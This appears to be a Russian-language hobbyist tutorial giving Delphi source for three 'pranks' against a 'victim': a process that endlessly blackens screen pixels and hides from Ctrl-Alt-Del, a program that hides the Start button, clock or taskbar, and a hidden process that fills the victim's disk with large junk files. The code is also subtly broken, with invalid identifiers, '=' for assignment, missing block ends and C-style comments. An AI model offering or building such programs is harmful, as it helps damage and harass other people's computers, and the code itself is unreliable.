Новое западло на Delphi

Прога 1. "А куда подевался экран????"

Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение. Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать, чтобы прогу нашу через CTRL-ALT-DEL не видно было:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end;
end.

Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

Прога 2. "А где всё?"

А сейчас мы вернёмся к классике и будем прятать часы с кнопкой "Пуск" или, на худой конец "Панель задач". Выполни уже знакомые тебе действия с Дельфями и впиши вот это:

program proga2;
uses Windows;
var
Wnd:THandle; /* объявляем переменные */
int:integer;
begin
Randomize; /* холостой прогон генератора случайных чисел */
int:=(Random(3)); /* выбор одного варианта из четырёх */
case int of
0: /* если первый вариант то */
begin
Wnd := FindWindow('Progman', nil); /* прячем трей */
Wnd := FindWindowEx(Wnd, HWND(0),'ShellDll_DefView', nil); 
ShowWindow(Wnd, SW_HIde);
end;
1: /* если второй вариант то */
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayClockWClass', nil); 
/* прячем часы */
ShowWindow(Wnd, SW_HIde);
end;
2:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'Button', nil); 
/*прячем кнопку "Пуск"*/
ShowWindow(Wnd, SW_HIde);
end;
3:
begin
Wnd := FindWindow('Shell_TrayWnd', nil);
Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd', nil); 
/* прячем "Панель задач" */
ShowWindow(Wnd, SW_HIDe);
end;
end;
end.

По желанию можно вставить защиту от CTRL-ALT-DEL.

Прога 3. "Мало, мало места на винте..."

Ну а напоследок, прога, которая позволит значительно уменьшить место на винте твоей жертвы. Как делать ты уже знаешь, а теперь вперёд:

program musor;
uses Windows;
var
text:TextFile;
alphabet, temp:string;
i:integer;
point:Tpoint; /* Объявление переменных */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0,1);
alphabet:='abcdefghijklmnopqrstucvwxyz'; /*заполняем строку алфавитом*/
while true do
begin
GetCursorPos(point); /* получаем координаты курсора */
if (point.x = 0)and(point.y = 0) then /* если х = 0 и y = 0 то */
begin
temp:=''; /*очищаем буфер*/
for i:=1 to 8 do /*генерируем случайное имя файла*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]); 
temp:=Concat(temp, '.'); 
for i:=1 to 3 do /*генерируем случайное расширение*/
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]); 
Assign(text, temp); /* присваиваем имя файлу */
Rewrite(text); /*открываем файл*/
for i:=1 to 30000000 do
begin
Yield;
Write(text, '!'); /* наполняем файл мусором */
end;
Close(text); /* закрываем файл */
end;
end; /* всё сначала */ 
end.